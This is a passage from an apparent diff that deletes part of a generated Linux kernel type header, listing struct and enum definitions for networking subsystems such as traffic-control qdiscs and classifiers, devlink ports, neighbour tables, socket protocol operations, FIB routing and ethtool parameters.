in6_addr token; - struct neigh_parms *nd_parms; - struct ipv6_devconf cnf; - struct ipv6_devstat stats; - struct timer_list rs_timer; - __s32 rs_interval; - __u8 rs_probes; - long unsigned int tstamp; - struct callback_head rcu; - unsigned int ra_mtu; -}; - -struct tcf_proto; - -struct tcf_block; - -struct mini_Qdisc { - struct tcf_proto *filter_list; - struct tcf_block *block; - struct gnet_stats_basic_sync *cpu_bstats; - struct gnet_stats_queue *cpu_qstats; - long unsigned int rcu_state; -}; - -struct rtnl_link_ops { - struct list_head list; - const char *kind; - size_t priv_size; - struct net_device * (*alloc)(struct nlattr **, const char *, unsigned char, unsigned int, unsigned int); - void (*setup)(struct net_device *); - bool netns_refund; - unsigned int maxtype; - const struct nla_policy *policy; - int (*validate)(struct nlattr **, struct nlattr **, struct netlink_ext_ack *); - int (*newlink)(struct net *, struct net_device *, struct nlattr **, struct nlattr **, struct netlink_ext_ack *); - int (*changelink)(struct net_device *, struct nlattr **, struct nlattr **, struct netlink_ext_ack *); - void (*dellink)(struct net_device *, struct list_head *); - size_t (*get_size)(const struct net_device *); - int (*fill_info)(struct sk_buff *, const struct net_device *); - size_t (*get_xstats_size)(const struct net_device *); - int (*fill_xstats)(struct sk_buff *, const struct net_device *); - unsigned int (*get_num_tx_queues)(); - unsigned int (*get_num_rx_queues)(); - unsigned int slave_maxtype; - const struct nla_policy *slave_policy; - int (*slave_changelink)(struct net_device *, struct net_device *, struct nlattr **, struct nlattr **, struct netlink_ext_ack *); - size_t (*get_slave_size)(const struct net_device *, const struct net_device *); - int (*fill_slave_info)(struct sk_buff *, const struct net_device *, const struct net_device *); - struct net * (*get_link_net)(const struct net_device *); - size_t (*get_linkxstats_size)(const struct net_device *, int); - int (*fill_linkxstats)(struct sk_buff *, const struct net_device *, int *, int); -}; - -struct udp_tunnel_nic_table_info { - unsigned int n_entries; - unsigned int tunnel_types; -}; - -struct udp_tunnel_info; - -struct udp_tunnel_nic_shared; - -struct udp_tunnel_nic_info { - int (*set_port)(struct net_device *, unsigned int, unsigned int, struct udp_tunnel_info *); - int (*unset_port)(struct net_device *, unsigned int, unsigned int, struct udp_tunnel_info *); - int (*sync_table)(struct net_device *, unsigned int); - struct udp_tunnel_nic_shared *shared; - unsigned int flags; - struct udp_tunnel_nic_table_info tables[4]; -}; - -enum devlink_port_type { - DEVLINK_PORT_TYPE_NOTSET = 0, - DEVLINK_PORT_TYPE_AUTO = 1, - DEVLINK_PORT_TYPE_ETH = 2, - DEVLINK_PORT_TYPE_IB = 3, -}; - -enum devlink_port_flavour { - DEVLINK_PORT_FLAVOUR_PHYSICAL = 0, - DEVLINK_PORT_FLAVOUR_CPU = 1, - DEVLINK_PORT_FLAVOUR_DSA = 2, - DEVLINK_PORT_FLAVOUR_PCI_PF = 3, - DEVLINK_PORT_FLAVOUR_PCI_VF = 4, - DEVLINK_PORT_FLAVOUR_VIRTUAL = 5, - DEVLINK_PORT_FLAVOUR_UNUSED = 6, - DEVLINK_PORT_FLAVOUR_PCI_SF = 7, -}; - -struct devlink_port_phys_attrs { - u32 port_number; - u32 split_subport_number; -}; - -struct devlink_port_pci_pf_attrs { - u32 controller; - u16 pf; - u8 external: 1; -}; - -struct devlink_port_pci_vf_attrs { - u32 controller; - u16 pf; - u16 vf; - u8 external: 1; -}; - -struct devlink_port_pci_sf_attrs { - u32 controller; - u32 sf; - u16 pf; - u8 external: 1; -}; - -struct devlink_port_attrs { - u8 split: 1; - u8 splittable: 1; - u32 lanes; - enum devlink_port_flavour flavour; - struct netdev_phys_item_id switch_id; - union { - struct devlink_port_phys_attrs phys; - struct devlink_port_pci_pf_attrs pci_pf; - struct devlink_port_pci_vf_attrs pci_vf; - struct devlink_port_pci_sf_attrs pci_sf; - }; -}; - -struct devlink; - -struct ib_device; - -struct devlink_rate; - -struct devlink_linecard; - -struct devlink_port { - struct list_head list; - struct list_head region_list; - struct devlink *devlink; - unsigned int index; - spinlock_t type_lock; - enum devlink_port_type type; - enum devlink_port_type desired_type; - union { - struct { - struct net_device *netdev; - int ifindex; - char ifname[16]; - } type_eth; - struct { - struct ib_device *ibdev; - } type_ib; - }; - struct devlink_port_attrs attrs; - u8 attrs_set: 1; - u8 switch_port: 1; - u8 registered: 1; - u8 initialized: 1; - struct delayed_work type_warn_dw; - struct list_head reporter_list; - struct mutex reporters_lock; - struct devlink_rate *devlink_rate; - struct devlink_linecard *linecard; -}; - -enum { - RTAX_UNSPEC = 0, - RTAX_LOCK = 1, - RTAX_MTU = 2, - RTAX_WINDOW = 3, - RTAX_RTT = 4, - RTAX_RTTVAR = 5, - RTAX_SSTHRESH = 6, - RTAX_CWND = 7, - RTAX_ADVMSS = 8, - RTAX_REORDERING = 9, - RTAX_HOPLIMIT = 10, - RTAX_INITCWND = 11, - RTAX_FEATURES = 12, - RTAX_RTO_MIN = 13, - RTAX_INITRWND = 14, - RTAX_QUICKACK = 15, - RTAX_CC_ALGO = 16, - RTAX_FASTOPEN_NO_COOKIE = 17, - __RTAX_MAX = 18, -}; - -struct tcmsg { - unsigned char tcm_family; - unsigned char tcm__pad1; - short unsigned int tcm__pad2; - int tcm_ifindex; - __u32 tcm_handle; - __u32 tcm_parent; - __u32 tcm_info; -}; - -struct gnet_dump { - spinlock_t *lock; - struct sk_buff *skb; - struct nlattr *tail; - int compat_tc_stats; - int compat_xstats; - int padattr; - void *xstats; - int xstats_len; - struct tc_stats tc_stats; -}; - -enum flow_action_hw_stats_bit { - FLOW_ACTION_HW_STATS_IMMEDIATE_BIT = 0, - FLOW_ACTION_HW_STATS_DELAYED_BIT = 1, - FLOW_ACTION_HW_STATS_DISABLED_BIT = 2, - FLOW_ACTION_HW_STATS_NUM_BITS = 3, -}; - -struct flow_action_cookie { - u32 cookie_len; - u8 cookie[0]; -}; - -enum flow_block_command { - FLOW_BLOCK_BIND = 0, - FLOW_BLOCK_UNBIND = 1, -}; - -enum flow_block_binder_type { - FLOW_BLOCK_BINDER_TYPE_UNSPEC = 0, - FLOW_BLOCK_BINDER_TYPE_CLSACT_INGRESS = 1, - FLOW_BLOCK_BINDER_TYPE_CLSACT_EGRESS = 2, - FLOW_BLOCK_BINDER_TYPE_RED_EARLY_DROP = 3, - FLOW_BLOCK_BINDER_TYPE_RED_MARK = 4, -}; - -struct flow_block { - struct list_head cb_list; -}; - -struct flow_block_offload { - enum flow_block_command command; - enum flow_block_binder_type binder_type; - bool block_shared; - bool unlocked_driver_cb; - struct net *net; - struct flow_block *block; - struct list_head cb_list; - struct list_head *driver_block_list; - struct netlink_ext_ack *extack; - struct Qdisc *sch; - struct list_head *cb_list_head; -}; - -typedef int flow_setup_cb_t(enum tc_setup_type, void *, void *); - -struct qdisc_size_table { - struct callback_head rcu; - struct list_head list; - struct tc_sizespec szopts; - int refcnt; - u16 data[0]; -}; - -struct Qdisc_class_ops; - -struct Qdisc_ops { - struct Qdisc_ops *next; - const struct Qdisc_class_ops *cl_ops; - char id[16]; - int priv_size; - unsigned int static_flags; - int (*enqueue)(struct sk_buff *, struct Qdisc *, struct sk_buff **); - struct sk_buff * (*dequeue)(struct Qdisc *); - struct sk_buff * (*peek)(struct Qdisc *); - int (*init)(struct Qdisc *, struct nlattr *, struct netlink_ext_ack *); - void (*reset)(struct Qdisc *); - void (*destroy)(struct Qdisc *); - int (*change)(struct Qdisc *, struct nlattr *, struct netlink_ext_ack *); - void (*attach)(struct Qdisc *); - int (*change_tx_queue_len)(struct Qdisc *, unsigned int); - void (*change_real_num_tx)(struct Qdisc *, unsigned int); - int (*dump)(struct Qdisc *, struct sk_buff *); - int (*dump_stats)(struct Qdisc *, struct gnet_dump *); - void (*ingress_block_set)(struct Qdisc *, u32); - void (*egress_block_set)(struct Qdisc *, u32); - u32 (*ingress_block_get)(struct Qdisc *); - u32 (*egress_block_get)(struct Qdisc *); - struct module *owner; -}; - -struct qdisc_walker; - -struct Qdisc_class_ops { - unsigned int flags; - struct netdev_queue * (*select_queue)(struct Qdisc *, struct tcmsg *); - int (*graft)(struct Qdisc *, long unsigned int, struct Qdisc *, struct Qdisc **, struct netlink_ext_ack *); - struct Qdisc * (*leaf)(struct Qdisc *, long unsigned int); - void (*qlen_notify)(struct Qdisc *, long unsigned int); - long unsigned int (*find)(struct Qdisc *, u32); - int (*change)(struct Qdisc *, u32, u32, struct nlattr **, long unsigned int *, struct netlink_ext_ack *); - int (*delete)(struct Qdisc *, long unsigned int, struct netlink_ext_ack *); - void (*walk)(struct Qdisc *, struct qdisc_walker *); - struct tcf_block * (*tcf_block)(struct Qdisc *, long unsigned int, struct netlink_ext_ack *); - long unsigned int (*bind_tcf)(struct Qdisc *, long unsigned int, u32); - void (*unbind_tcf)(struct Qdisc *, long unsigned int); - int (*dump)(struct Qdisc *, long unsigned int, struct sk_buff *, struct tcmsg *); - int (*dump_stats)(struct Qdisc *, long unsigned int, struct gnet_dump *); -}; - -struct qdisc_walker { - int stop; - int skip; - int count; - int (*fn)(struct Qdisc *, long unsigned int, struct qdisc_walker *); -}; - -struct tcf_chain; - -struct tcf_block { - struct mutex lock; - struct list_head chain_list; - u32 index; - u32 classid; - refcount_t refcnt; - struct net *net; - struct Qdisc *q; - struct rw_semaphore cb_lock; - struct flow_block flow_block; - struct list_head owner_list; - bool keep_dst; - atomic_t offloadcnt; - unsigned int nooffloaddevcnt; - unsigned int lockeddevcnt; - struct { - struct tcf_chain *chain; - struct list_head filter_chain_list; - } chain0; - struct callback_head rcu; - struct hlist_head proto_destroy_ht[128]; - struct mutex proto_destroy_lock; -}; - -struct tcf_result; - -struct tcf_proto_ops; - -struct tcf_proto { - struct tcf_proto *next; - void *root; - int (*classify)(struct sk_buff *, const struct tcf_proto *, struct tcf_result *); - __be16 protocol; - u32 prio; - void *data; - const struct tcf_proto_ops *ops; - struct tcf_chain *chain; - spinlock_t lock; - bool deleting; - refcount_t refcnt; - struct callback_head rcu; - struct hlist_node destroy_ht_node; -}; - -struct tcf_result { - union { - struct { - long unsigned int class; - u32 classid; - }; - const struct tcf_proto *goto_tp; - }; -}; - -struct tcf_walker; - -struct tcf_proto_ops { - struct list_head head; - char kind[16]; - int (*classify)(struct sk_buff *, const struct tcf_proto *, struct tcf_result *); - int (*init)(struct tcf_proto *); - void (*destroy)(struct tcf_proto *, bool, struct netlink_ext_ack *); - void * (*get)(struct tcf_proto *, u32); - void (*put)(struct tcf_proto *, void *); - int (*change)(struct net *, struct sk_buff *, struct tcf_proto *, long unsigned int, u32, struct nlattr **, void **, u32, struct netlink_ext_ack *); - int (*delete)(struct tcf_proto *, void *, bool *, bool, struct netlink_ext_ack *); - bool (*delete_empty)(struct tcf_proto *); - void (*walk)(struct tcf_proto *, struct tcf_walker *, bool); - int (*reoffload)(struct tcf_proto *, bool, flow_setup_cb_t *, void *, struct netlink_ext_ack *); - void (*hw_add)(struct tcf_proto *, void *); - void (*hw_del)(struct tcf_proto *, void *); - void (*bind_class)(void *, u32, long unsigned int, void *, long unsigned int); - void * (*tmplt_create)(struct net *, struct tcf_chain *, struct nlattr **, struct netlink_ext_ack *); - void (*tmplt_destroy)(void *); - int (*dump)(struct net *, struct tcf_proto *, void *, struct sk_buff *, struct tcmsg *, bool); - int (*terse_dump)(struct net *, struct tcf_proto *, void *, struct sk_buff *, struct tcmsg *, bool); - int (*tmplt_dump)(struct sk_buff *, struct net *, void *); - struct module *owner; - int flags; -}; - -struct tcf_walker { - int stop; - int skip; - int count; - bool nonempty; - long unsigned int cookie; - int (*fn)(struct tcf_proto *, void *, struct tcf_walker *); -}; - -struct tcf_chain { - struct mutex filter_chain_lock; - struct tcf_proto *filter_chain; - struct list_head list; - struct tcf_block *block; - u32 index; - unsigned int refcnt; - unsigned int action_refcnt; - bool explicitly_created; - bool flushing; - const struct tcf_proto_ops *tmplt_ops; - void *tmplt_priv; - struct callback_head rcu; -}; - -enum wb_stat_item { - WB_RECLAIMABLE = 0, - WB_WRITEBACK = 1, - WB_DIRTIED = 2, - WB_WRITTEN = 3, - NR_WB_STAT_ITEMS = 4, -}; - -enum memcg_memory_event { - MEMCG_LOW = 0, - MEMCG_HIGH = 1, - MEMCG_MAX = 2, - MEMCG_OOM = 3, - MEMCG_OOM_KILL = 4, - MEMCG_OOM_GROUP_KILL = 5, - MEMCG_SWAP_HIGH = 6, - MEMCG_SWAP_MAX = 7, - MEMCG_SWAP_FAIL = 8, - MEMCG_NR_MEMORY_EVENTS = 9, -}; - -enum { - NEIGH_VAR_MCAST_PROBES = 0, - NEIGH_VAR_UCAST_PROBES = 1, - NEIGH_VAR_APP_PROBES = 2, - NEIGH_VAR_MCAST_REPROBES = 3, - NEIGH_VAR_RETRANS_TIME = 4, - NEIGH_VAR_BASE_REACHABLE_TIME = 5, - NEIGH_VAR_DELAY_PROBE_TIME = 6, - NEIGH_VAR_INTERVAL_PROBE_TIME_MS = 7, - NEIGH_VAR_GC_STALETIME = 8, - NEIGH_VAR_QUEUE_LEN_BYTES = 9, - NEIGH_VAR_PROXY_QLEN = 10, - NEIGH_VAR_ANYCAST_DELAY = 11, - NEIGH_VAR_PROXY_DELAY = 12, - NEIGH_VAR_LOCKTIME = 13, - NEIGH_VAR_QUEUE_LEN = 14, - NEIGH_VAR_RETRANS_TIME_MS = 15, - NEIGH_VAR_BASE_REACHABLE_TIME_MS = 16, - NEIGH_VAR_GC_INTERVAL = 17, - NEIGH_VAR_GC_THRESH1 = 18, - NEIGH_VAR_GC_THRESH2 = 19, - NEIGH_VAR_GC_THRESH3 = 20, - NEIGH_VAR_MAX = 21, -}; - -struct pneigh_entry; - -struct neigh_statistics; - -struct neigh_hash_table; - -struct neigh_table { - int family; - unsigned int entry_size; - unsigned int key_len; - __be16 protocol; - __u32 (*hash)(const void *, const struct net_device *, __u32 *); - bool (*key_eq)(const struct neighbour *, const void *); - int (*constructor)(struct neighbour *); - int (*pconstructor)(struct pneigh_entry *); - void (*pdestructor)(struct pneigh_entry *); - void (*proxy_redo)(struct sk_buff *); - int (*is_multicast)(const void *); - bool (*allow_add)(const struct net_device *, struct netlink_ext_ack *); - char *id; - struct neigh_parms parms; - struct list_head parms_list; - int gc_interval; - int gc_thresh1; - int gc_thresh2; - int gc_thresh3; - long unsigned int last_flush; - struct delayed_work gc_work; - struct delayed_work managed_work; - struct timer_list proxy_timer; - struct sk_buff_head proxy_queue; - atomic_t entries; - atomic_t gc_entries; - struct list_head gc_list; - struct list_head managed_list; - rwlock_t lock; - long unsigned int last_rand; - struct neigh_statistics *stats; - struct neigh_hash_table *nht; - struct pneigh_entry **phash_buckets; -}; - -struct neigh_statistics { - long unsigned int allocs; - long unsigned int destroys; - long unsigned int hash_grows; - long unsigned int res_failed; - long unsigned int lookups; - long unsigned int hits; - long unsigned int rcv_probes_mcast; - long unsigned int rcv_probes_ucast; - long unsigned int periodic_gc_runs; - long unsigned int forced_gc_runs; - long unsigned int unres_discards; - long unsigned int table_fulls; -}; - -struct neigh_ops { - int family; - void (*solicit)(struct neighbour *, struct sk_buff *); - void (*error_report)(struct neighbour *, struct sk_buff *); - int (*output)(struct neighbour *, struct sk_buff *); - int (*connected_output)(struct neighbour *, struct sk_buff *); -}; - -struct pneigh_entry { - struct pneigh_entry *next; - possible_net_t net; - struct net_device *dev; - netdevice_tracker dev_tracker; - u32 flags; - u8 protocol; - u8 key[0]; -}; - -struct neigh_hash_table { - struct neighbour **hash_buckets; - unsigned int hash_shift; - __u32 hash_rnd[4]; - struct callback_head rcu; -}; - -struct lwtunnel_state { - __u16 type; - __u16 flags; - __u16 headroom; - atomic_t refcnt; - int (*orig_output)(struct net *, struct sock *, struct sk_buff *); - int (*orig_input)(struct sk_buff *); - struct callback_head rcu; - __u8 data[0]; -}; - -struct dst_metrics { - u32 metrics[17]; - refcount_t refcnt; -}; - -enum { - TCP_ESTABLISHED = 1, - TCP_SYN_SENT = 2, - TCP_SYN_RECV = 3, - TCP_FIN_WAIT1 = 4, - TCP_FIN_WAIT2 = 5, - TCP_TIME_WAIT = 6, - TCP_CLOSE = 7, - TCP_CLOSE_WAIT = 8, - TCP_LAST_ACK = 9, - TCP_LISTEN = 10, - TCP_CLOSING = 11, - TCP_NEW_SYN_RECV = 12, - TCP_MAX_STATES = 13, -}; - -struct fib_rule_hdr { - __u8 family; - __u8 dst_len; - __u8 src_len; - __u8 tos; - __u8 table; - __u8 res1; - __u8 res2; - __u8 action; - __u32 flags; -}; - -struct fib_rule_port_range { - __u16 start; - __u16 end; -}; - -struct fib_kuid_range { - kuid_t start; - kuid_t end; -}; - -struct fib_rule { - struct list_head list; - int iifindex; - int oifindex; - u32 mark; - u32 mark_mask; - u32 flags; - u32 table; - u8 action; - u8 l3mdev; - u8 proto; - u8 ip_proto; - u32 target; - __be64 tun_id; - struct fib_rule *ctarget; - struct net *fr_net; - refcount_t refcnt; - u32 pref; - int suppress_ifgroup; - int suppress_prefixlen; - char iifname[16]; - char oifname[16]; - struct fib_kuid_range uid_range; - struct fib_rule_port_range sport_range; - struct fib_rule_port_range dport_range; - struct callback_head rcu; -}; - -struct fib_lookup_arg { - void *lookup_ptr; - const void *lookup_data; - void *result; - struct fib_rule *rule; - u32 table; - int flags; -}; - -struct smc_hashinfo; - -struct sk_psock; - -struct request_sock_ops; - -struct timewait_sock_ops; - -struct raw_hashinfo; - -struct proto { - void (*close)(struct sock *, long int); - int (*pre_connect)(struct sock *, struct sockaddr *, int); - int (*connect)(struct sock *, struct sockaddr *, int); - int (*disconnect)(struct sock *, int); - struct sock * (*accept)(struct sock *, int, int *, bool); - int (*ioctl)(struct sock *, int, long unsigned int); - int (*init)(struct sock *); - void (*destroy)(struct sock *); - void (*shutdown)(struct sock *, int); - int (*setsockopt)(struct sock *, int, int, sockptr_t, unsigned int); - int (*getsockopt)(struct sock *, int, int, char *, int *); - void (*keepalive)(struct sock *, int); - int (*sendmsg)(struct sock *, struct msghdr *, size_t); - int (*recvmsg)(struct sock *, struct msghdr *, size_t, int, int *); - int (*sendpage)(struct sock *, struct page *, int, size_t, int); - int (*bind)(struct sock *, struct sockaddr *, int); - int (*bind_add)(struct sock *, struct sockaddr *, int); - int (*backlog_rcv)(struct sock *, struct sk_buff *); - bool (*bpf_bypass_getsockopt)(int, int); - void (*release_cb)(struct sock *); - int (*hash)(struct sock *); - void (*unhash)(struct sock *); - void (*rehash)(struct sock *); - int (*get_port)(struct sock *, short unsigned int); - void (*put_port)(struct sock *); - int (*psock_update_sk_prot)(struct sock *, struct sk_psock *, bool); - unsigned int inuse_idx; - int (*forward_alloc_get)(const struct sock *); - bool (*stream_memory_free)(const struct sock *, int); - bool (*sock_is_readable)(struct sock *); - void (*enter_memory_pressure)(struct sock *); - void (*leave_memory_pressure)(struct sock *); - atomic_long_t *memory_allocated; - int *per_cpu_fw_alloc; - struct percpu_counter *sockets_allocated; - long unsigned int *memory_pressure; - long int *sysctl_mem; - int *sysctl_wmem; - int *sysctl_rmem; - u32 sysctl_wmem_offset; - u32 sysctl_rmem_offset; - int max_header; - bool no_autobind; - struct kmem_cache *slab; - unsigned int obj_size; - slab_flags_t slab_flags; - unsigned int useroffset; - unsigned int usersize; - unsigned int *orphan_count; - struct request_sock_ops *rsk_prot; - struct timewait_sock_ops *twsk_prot; - union { - struct inet_hashinfo *hashinfo; - struct udp_table *udp_table; - struct raw_hashinfo *raw_hash; - struct smc_hashinfo *smc_hash; - } h; - struct module *owner; - char name[32]; - struct list_head node; - int (*diag_destroy)(struct sock *, int); -}; - -struct request_sock; - -struct request_sock_ops { - int family; - unsigned int obj_size; - struct kmem_cache *slab; - char *slab_name; - int (*rtx_syn_ack)(const struct sock *, struct request_sock *); - void (*send_ack)(const struct sock *, struct sk_buff *, struct request_sock *); - void (*send_reset)(const struct sock *, struct sk_buff *); - void (*destructor)(struct request_sock *); - void (*syn_ack_timeout)(const struct request_sock *); -}; - -struct timewait_sock_ops { - struct kmem_cache *twsk_slab; - char *twsk_slab_name; - unsigned int twsk_obj_size; - int (*twsk_unique)(struct sock *, struct sock *, void *); - void (*twsk_destructor)(struct sock *); -}; - -struct saved_syn; - -struct request_sock { - struct sock_common __req_common; - struct request_sock *dl_next; - u16 mss; - u8 num_retrans; - u8 syncookie: 1; - u8 num_timeout: 7; - u32 ts_recent; - struct timer_list rsk_timer; - const struct request_sock_ops *rsk_ops; - struct sock *sk; - struct saved_syn *saved_syn; - u32 secid; - u32 peer_secid; - u32 timeout; -}; - -struct saved_syn { - u32 mac_hdrlen; - u32 network_hdrlen; - u32 tcp_hdrlen; - u8 data[0]; -}; - -enum tsq_enum { - TSQ_THROTTLED = 0, - TSQ_QUEUED = 1, - TCP_TSQ_DEFERRED = 2, - TCP_WRITE_TIMER_DEFERRED = 3, - TCP_DELACK_TIMER_DEFERRED = 4, - TCP_MTU_REDUCED_DEFERRED = 5, -}; - -struct ip6_sf_list { - struct ip6_sf_list *sf_next; - struct in6_addr sf_addr; - long unsigned int sf_count[2]; - unsigned char sf_gsresp; - unsigned char sf_oldin; - unsigned char sf_crcount; - struct callback_head rcu; -}; - -struct ifmcaddr6 { - struct in6_addr mca_addr; - struct inet6_dev *idev; - struct ifmcaddr6 *next; - struct ip6_sf_list *mca_sources; - struct ip6_sf_list *mca_tomb; - unsigned int mca_sfmode; - unsigned char mca_crcount; - long unsigned int mca_sfcount[2]; - struct delayed_work mca_work; - unsigned int mca_flags; - int mca_users; - refcount_t mca_refcnt; - long unsigned int mca_cstamp; - long unsigned int mca_tstamp; - struct callback_head rcu; -}; - -struct ifacaddr6 { - struct in6_addr aca_addr; - struct fib6_info *aca_rt; - struct ifacaddr6 *aca_next; - struct hlist_node aca_addr_lst; - int aca_users; - refcount_t aca_refcnt; - long unsigned int aca_cstamp; - long unsigned int aca_tstamp; - struct callback_head rcu; -}; - -struct fib_nh_exception { - struct fib_nh_exception *fnhe_next; - int fnhe_genid; - __be32 fnhe_daddr; - u32 fnhe_pmtu; - bool fnhe_mtu_locked; - __be32 fnhe_gw; - long unsigned int fnhe_expires; - struct rtable *fnhe_rth_input; - struct rtable *fnhe_rth_output; - long unsigned int fnhe_stamp; - struct callback_head rcu; -}; - -struct rtable { - struct dst_entry dst; - int rt_genid; - unsigned int rt_flags; - __u16 rt_type; - __u8 rt_is_input; - __u8 rt_uses_gateway; - int rt_iif; - u8 rt_gw_family; - union { - __be32 rt_gw4; - struct in6_addr rt_gw6; - }; - u32 rt_mtu_locked: 1; - u32 rt_pmtu: 31; - struct list_head rt_uncached; - struct uncached_list *rt_uncached_list; -}; - -struct fnhe_hash_bucket { - struct fib_nh_exception *chain; -}; - -struct fib_info; - -struct fib_nh { - struct fib_nh_common nh_common; - struct hlist_node nh_hash; - struct fib_info *nh_parent; - __be32 nh_saddr; - int nh_saddr_genid; -}; - -struct fib_info { - struct hlist_node fib_hash; - struct hlist_node fib_lhash; - struct list_head nh_list; - struct net *fib_net; - refcount_t fib_treeref; - refcount_t fib_clntref; - unsigned int fib_flags; - unsigned char fib_dead; - unsigned char fib_protocol; - unsigned char fib_scope; - unsigned char fib_type; - __be32 fib_prefsrc; - u32 fib_tb_id; - u32 fib_priority; - struct dst_metrics *fib_metrics; - int fib_nhs; - bool fib_nh_is_v6; - bool nh_updated; - struct nexthop *nh; - struct callback_head rcu; - struct fib_nh fib_nh[0]; -}; - -struct nh_info; - -struct nh_group; - -struct nexthop { - struct rb_node rb_node; - struct list_head fi_list; - struct list_head f6i_list; - struct list_head fdb_list; - struct list_head grp_list; - struct net *net; - u32 id; - u8 protocol; - u8 nh_flags; - bool is_group; - refcount_t refcnt; - struct callback_head rcu; - union { - struct nh_info *nh_info; - struct nh_group *nh_grp; - }; -}; - -enum { - __ND_OPT_PREFIX_INFO_END = 0, - ND_OPT_SOURCE_LL_ADDR = 1, - ND_OPT_TARGET_LL_ADDR = 2, - ND_OPT_PREFIX_INFO = 3, - ND_OPT_REDIRECT_HDR = 4, - ND_OPT_MTU = 5, - ND_OPT_NONCE = 14, - __ND_OPT_ARRAY_MAX = 15, - ND_OPT_ROUTE_INFO = 24, - ND_OPT_RDNSS = 25, - ND_OPT_DNSSL = 31, - ND_OPT_6CO = 34, - ND_OPT_CAPTIVE_PORTAL = 37, - ND_OPT_PREF64 = 38, - __ND_OPT_MAX = 39, -}; - -struct nd_opt_hdr { - __u8 nd_opt_type; - __u8 nd_opt_len; -}; - -struct ndisc_options { - struct nd_opt_hdr *nd_opt_array[15]; - struct nd_opt_hdr *nd_opts_ri; - struct nd_opt_hdr *nd_opts_ri_end; - struct nd_opt_hdr *nd_useropts; - struct nd_opt_hdr *nd_useropts_end; -}; - -struct prefix_info { - __u8 type; - __u8 length; - __u8 prefix_len; - __u8 reserved: 6; - __u8 autoconf: 1; - __u8 onlink: 1; - __be32 valid; - __be32 prefered; - __be32 reserved2; - struct in6_addr prefix; -}; - -struct rt6_exception_bucket { - struct hlist_head chain; - int depth; -}; - -struct nh_info { - struct hlist_node dev_hash; - struct nexthop *nh_parent; - u8 family; - bool reject_nh; - bool fdb_nh; - union { - struct fib_nh_common fib_nhc; - struct fib_nh fib_nh; - struct fib6_nh fib6_nh; - }; -}; - -struct nh_grp_entry; - -struct nh_res_bucket { - struct nh_grp_entry *nh_entry; - atomic_long_t used_time; - long unsigned int migrated_time; - bool occupied; - u8 nh_flags; -}; - -struct nh_grp_entry { - struct nexthop *nh; - u8 weight; - union { - struct { - atomic_t upper_bound; - } hthr; - struct { - struct list_head uw_nh_entry; - u16 count_buckets; - u16 wants_buckets; - } res; - }; - struct list_head nh_list; - struct nexthop *nh_parent; -}; - -struct nh_res_table { - struct net *net; - u32 nhg_id; - struct delayed_work upkeep_dw; - struct list_head uw_nh_entries; - long unsigned int unbalanced_since; - u32 idle_timer; - u32 unbalanced_timer; - u16 num_nh_buckets; - struct nh_res_bucket nh_buckets[0]; -}; - -struct nh_group { - struct nh_group *spare; - u16 num_nh; - bool is_multipath; - bool hash_threshold; - bool resilient; - bool fdb_nh; - bool has_v4; - struct nh_res_table *res_table; - struct nh_grp_entry nh_entries[0]; -}; - -struct udp_hslot { - struct hlist_head head; - int count; - spinlock_t lock; -}; - -struct udp_tunnel_info { - short unsigned int type; - sa_family_t sa_family; - __be16 port; - u8 hw_priv; -}; - -struct udp_tunnel_nic_shared { - struct udp_tunnel_nic *udp_tunnel_nic_info; - struct list_head devices; -}; - -struct ethtool_drvinfo { - __u32 cmd; - char driver[32]; - char version[32]; - char fw_version[32]; - char bus_info[32]; - char erom_version[32]; - char reserved2[12]; - __u32 n_priv_flags; - __u32 n_stats; - __u32 testinfo_len; - __u32 eedump_len; - __u32 regdump_len; -}; - -struct ethtool_wolinfo { - __u32 cmd; - __u32 supported; - __u32 wolopts; - __u8 sopass[6]; -}; - -struct ethtool_tunable { - __u32 cmd; - __u32 id; - __u32 type_id; - __u32 len; - void *data[0]; -}; - -struct ethtool_regs { - __u32 cmd; - __u32 version; - __u32 len; - __u8 data[0]; -}; - -struct ethtool_eeprom { - __u32 cmd; - __u32 magic; - __u32 offset; - __u32 len; - __u8 data[0]; -}; - -struct ethtool_eee { - __u32 cmd; - __u32 supported; - __u32 advertised; - __u32 lp_advertised; - __u32 eee_active; - __u32 eee_enabled; - __u32 tx_lpi_enabled; - __u32 tx_lpi_timer; - __u32 reserved[2]; -}; - -struct ethtool_modinfo { - __u32 cmd; - __u32 type; - __u32 eeprom_len; - __u32 reserved[8]; -}; - -struct ethtool_coalesce { - __u32 cmd; - __u32 rx_coalesce_usecs; - __u32 rx_max_coalesced_frames; - __u32 rx_coalesce_usecs_irq; - __u32 rx_max_coalesced_frames_irq; - __u32 tx_coalesce_usecs; - __u32 tx_max_coalesced_frames; - __u32 tx_coalesce_usecs_irq; - __u32 tx_max_coalesced_frames_irq; - __u32 stats_block_coalesce_usecs; - __u32 use_adaptive_rx_coalesce; - __u32 use_adaptive_tx_coalesce; - __u32 pkt_rate_low; - __u32 rx_coalesce_usecs_low; - __u32 rx_max_coalesced_frames_low; - __u32 tx_coalesce_usecs_low; - __u32 tx_max_coalesced_frames_low; - __u32 pkt_rate_high; - __u32 rx_coalesce_usecs_high; - __u32 rx_max_coalesced_frames_high; - __u32 tx_coalesce_usecs_high; - __u32 tx_max_coalesced_frames_high; - __u32 rate_sample_interval; -}; - -struct ethtool_ringparam { - __u32 cmd; - __u32 rx_max_pending; - __u32 rx_mini_max_pending; - __u32 rx_jumbo_max_pending; - __u32 tx_max_pending; - __u32 rx_pending; - __u32 rx_mini_pending; - __u32 rx_jumbo_pending; - __u32 tx_pending; -}; - -struct ethtool_channels { - __u32 cmd; - __u32 max_rx; - __u32 max_tx; - __u32 max_other; - __u32 max_combined; - __u32 rx_count; - __u32 tx_count; - __u32 other_count; - __u32 combined_count; -}; - -struct ethtool_pauseparam { - __u32 cmd; - __u32 autoneg; - __u32 rx_pause; - __u32 tx_pause; -}; - -enum ethtool_link_ext_state { - ETHTOOL_LINK_EXT_STATE_AUTONEG = 0, - ETHTOOL_LINK_EXT_STATE_LINK_TRAINING_FAILURE = 1, - ETHTOOL_LINK_EXT_STATE_LINK_LOGICAL_MISMATCH = 2, - ETHTOOL_LINK_EXT_STATE_BAD_SIGNAL_INTEGRITY = 3, - ETHTOOL_LINK_EXT_STATE_NO_CABLE = 4, - ETHTOOL_LINK_EXT_STATE_CABLE_ISSUE = 5, - ETHTOOL_LINK_EXT_STATE_EEPROM_ISSUE = 6, - ETHTOOL_LINK_EXT_STATE_CALIBRATION_FAILURE = 7, - ETHTOOL_LINK_EXT_STATE_POWER_BUDGET_EXCEEDED = 8, - ETHTOOL_LINK_EXT_STATE_OVERHEAT = 9, - ETHTOOL_LINK_EXT_STATE_MODULE = 10, -}; - -enum ethtool_link_ext_substate_autoneg { - 